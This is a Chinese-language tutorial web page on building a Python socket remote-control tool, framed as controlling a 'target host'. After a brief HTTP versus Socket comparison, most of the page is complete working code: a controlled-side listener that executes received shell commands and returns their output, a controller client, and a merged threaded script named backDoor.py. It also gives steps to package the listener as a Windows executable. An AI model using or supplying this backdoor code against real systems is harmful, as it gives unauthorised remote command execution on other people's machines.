您好,登錄后才能下訂單哦!
這篇文章主要介紹Python如何實(shí)現(xiàn)Socket通信建立TCP反向連接,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
我們?cè)趥鬏敂?shù)據(jù)時(shí),可以只使用(傳輸層)TCP/IP 協(xié)議,但是那樣的話,如果沒(méi)有應(yīng)用層,便無(wú)法識(shí)別數(shù)據(jù)內(nèi)容,如果想要使傳輸?shù)臄?shù)據(jù)有意義,則必須使用到應(yīng)用層協(xié)議,應(yīng)用層協(xié)議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應(yīng)用層協(xié)議。而 Socket 是對(duì) TCP/IP 協(xié)議的封裝,Socket 本身并不是協(xié)議,而是一個(gè)調(diào)用接口(API),通過(guò) Socket 我們才能使用 TCP/IP 協(xié)議。
HTTP 連接與 Socket 連接的區(qū)別
HTTP 是短連接,Socket (基于 TCP 協(xié)議的)是長(zhǎng)連接。盡管 HTTP1.1 開(kāi)始支持持久連接,但仍無(wú)法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動(dòng)斷開(kāi),否則連接狀態(tài)一直保持。
HTTP連接,服務(wù)端無(wú)法主動(dòng)發(fā)消息,Socket 連接,雙方請(qǐng)求的發(fā)送無(wú)先后限制。這點(diǎn)就比較重要了,因?yàn)樗鼘Q定二者分別適合應(yīng)用在什么場(chǎng)景下。HTTP 采用“請(qǐng)求-響應(yīng)”機(jī)制,在客戶端還沒(méi)發(fā)送消息給服務(wù)端前,服務(wù)端無(wú)法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前,服務(wù)端回復(fù)在后。Socket 連接雙方類(lèi)似 peer2peer 的關(guān)系,一方隨時(shí)可以向另一方喊話。
什么時(shí)候該用 HTTP,什么時(shí)候該用 Socket?
用 HTTP 的情況:雙方不需要時(shí)刻保持連接在線,比如客戶端資源的獲取、文件上傳等。
用 Socket 的情況:大部分即時(shí)通訊應(yīng)用(QQ、微信)、聊天室、蘋(píng)果APNs等。
Python3 關(guān)于 Socket 網(wǎng)絡(luò)編程的相關(guān)語(yǔ)法知識(shí)可以參見(jiàn):Python3 網(wǎng)絡(luò)編程。
下面開(kāi)始來(lái)看看如何借助 Python 實(shí)現(xiàn)對(duì)目標(biāo)主機(jī)的遠(yuǎn)程控制。
ServerAttack.py 受控端腳本如下:
import socket import os ip = "" # 空表示可連接所有主機(jī) port = 5555 # 設(shè)置端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對(duì)象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關(guān)閉后不需要保存狀態(tài)可以立即開(kāi)啟 s.bind((ip, port)) # 對(duì)象s 開(kāi)始綁定ip和端口 s.listen(10) # 啟動(dòng)監(jiān)聽(tīng)狀態(tài),設(shè)置隊(duì)列中等待連接服務(wù)器的最大請(qǐng)求數(shù)10 conn, addr = s.accept() # 當(dāng)與別人建立連接 addr,conn 變量分別存對(duì)方ip和連接的對(duì)象 print("已建立遠(yuǎn)程連接:", addr) # 顯示對(duì)方地址 while True: data = conn.recv(1024) # 接收對(duì)方字符串 #如果對(duì)方不發(fā)數(shù)據(jù)會(huì)卡住 if data == b"q": # 接收到程序終止信號(hào)則中斷連接 break data = str(data, encoding="utf8") # 將數(shù)據(jù)轉(zhuǎn)換為字符串類(lèi)型 print("遠(yuǎn)程主機(jī)請(qǐng)求的命令:", data) f = os.popen(data) # 可以將命令的內(nèi)容以讀取的方式返回 data2 = f.read() if data2 == "": conn.send(b"finish") else: conn.send(bytes(data2, encoding="utf8")) # 發(fā)送命令運(yùn)行結(jié)果 conn.close() # 斷開(kāi)連接 s.close() # 關(guān)閉套結(jié)字
ClientAttack.py 控制端腳本如下:
import socket ip = "192.168.146.126" # 對(duì)方服務(wù)器ip地址 port = 5555 # 對(duì)方服務(wù)器的端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對(duì)象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字 s.connect((ip, port)) # 創(chuàng)建socket連接 while True: data = input("請(qǐng)輸入命令:") data = bytes(data, encoding="utf8") s.send(data) # 發(fā)送數(shù)據(jù)給對(duì)方 data2 = s.recv(1024) # 接收返回的數(shù)據(jù) print(str(data2, encoding="utf8")) if data == b"q": break s.close()
效果演示
1、Linux 遠(yuǎn)控
將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運(yùn)行,同時(shí) Win10 物理機(jī)運(yùn)行 ClientAttack.py 控制端腳本,可實(shí)現(xiàn)遠(yuǎn)程連接控制:
2、Windows 遠(yuǎn)控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件(pyinstaller -F ServerAttack.py
),然后在 Win7 虛擬機(jī)運(yùn)行生成的 ServerAttack.exe 文件,效果如下:
下面使用多線程、腳本參數(shù)設(shè)置、腳本幫助提示、客戶端服務(wù)端代碼集成來(lái)優(yōu)化上述實(shí)現(xiàn)遠(yuǎn)程控制的腳本。
Python 中 getopt 模塊是專(zhuān)門(mén)用來(lái)處理命令行參數(shù)的,函數(shù)格式:
getopt(args, shortopts, longopts = [])
參數(shù)解析如下:
參數(shù) | 釋義 | 補(bǔ)充 |
---|---|---|
args | 要解析的參數(shù)列表 | 一般是sys.argv[1:] ,表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱(chēng) |
shortopts | 要識(shí)別的短格式 (-) 選項(xiàng)字符串,如果后接: 表示需要給定參數(shù) | 如ab:c: ,表示識(shí)別 -a, -b 和 -c 的短選項(xiàng),其中 -b 和 -c 需要后接參數(shù) |
longopts = [] | 要識(shí)別的長(zhǎng)格式(–)選項(xiàng),如果后接= 表示需要給定參數(shù) | 如[“help”, “user=”, “password=”],表示識(shí)別--help, --user=root, --password=123456 的長(zhǎng)選項(xiàng) |
函數(shù)返回值由兩個(gè)元素組成:
第一個(gè)是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--
前綴的選項(xiàng),value 表示該 option 對(duì)應(yīng)的參數(shù),可以為空字符串表示無(wú)參數(shù);
第二個(gè)是 args 剝離短選項(xiàng)及其參數(shù)和長(zhǎng)選項(xiàng)及其參數(shù)之后剩余的參數(shù)列表。
import socket import getopt import sys import subprocess from threading import Thread def main(): target = "" # 目標(biāo)IP port = 0 # 目標(biāo)端口 listen = False help = False # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過(guò)濾掉第一個(gè)參數(shù)(第一個(gè)參數(shù)是腳本的名稱(chēng),它不應(yīng)該作為參數(shù)進(jìn)行解析) opts, args = getopt.getopt(sys.argv[1:], "t:p:hl") for o, a in opts: if o == "-t": target = a elif o == "-p": port = int(a) elif o == "-h": help = True elif o == "-l": listen = True else: # 斷言,傳入的參數(shù)有誤 assert False, "Unhandled Option" # 輸出幫助文檔 if help: usage() # 獲分客戶端和服務(wù)端 if listen: server_handle(port) else: client_handle(target, port) # 受控端 def server_handle(port): # 創(chuàng)建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind(('0.0.0.0', port)) # 監(jiān)聽(tīng) server.listen(10) print("[*] Listening on 0.0.0.0:%d" % port) while True: client_socket, addr = server.accept() print("[*] Accept connection from %s:%d" % (addr[0], addr[1])) t = Thread(target=run_command, args=(client_socket, server,)) t.start() # 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容 def client_handle(target, port): # 創(chuàng)建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務(wù)器 client.connect((target, port)) # 接收數(shù)據(jù) while True: recv_len = 1 # 接收到的數(shù)據(jù)是utf-8 resBuffer = "".encode('utf-8') while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096: break # 在windows下中文會(huì)亂碼,所以轉(zhuǎn)成GBK print(resBuffer.decode('gbk'), end="") # 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8 buffer = input("") if buffer.encode('utf-8') == b"quit": break buffer += "\n" client.send(buffer.encode('utf-8')) client.close() # 執(zhí)行命令涵數(shù) def run_command(client_socket,s): while True: # 發(fā)送命令給客戶端 client_socket.send(b"shell_>") # 定義接收命令byte類(lèi)型變量 cmd_buffer = "".encode('utf-8') # 接收客戶端發(fā)過(guò)來(lái)的消息,直到預(yù)到換行,代表客戶端消息輸入完成 while b"\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) if cmd_buffer == b"quit": break # 將完整的byte變量消息轉(zhuǎn)成字符串 cmd_buffer = cmd_buffer.decode() try: # 通過(guò)隧道執(zhí)行命令并以byte數(shù)據(jù)類(lèi)型返回輸出的數(shù)據(jù) out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數(shù)據(jù)發(fā)送給客戶端 client_socket.send(out) except: client_socket.send(b"faild to execute the command") client_socket.close() # 斷開(kāi)連接 s.close() # 關(guān)閉套結(jié)字 exit(0) # 輸出幫助信息 def usage(): print("help info : python backDoor.py -h") print("client : python backDoor.py -t [target] -p [port]") print("server : python backDoor.py -lp [port]") print("Exit :Input quit to exit ") sys.exit() if __name__ == "__main__": main()
效果演示
獲取腳本幫助提示、進(jìn)行遠(yuǎn)程連接:
以上是“Python如何實(shí)現(xiàn)Socket通信建立TCP反向連接”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。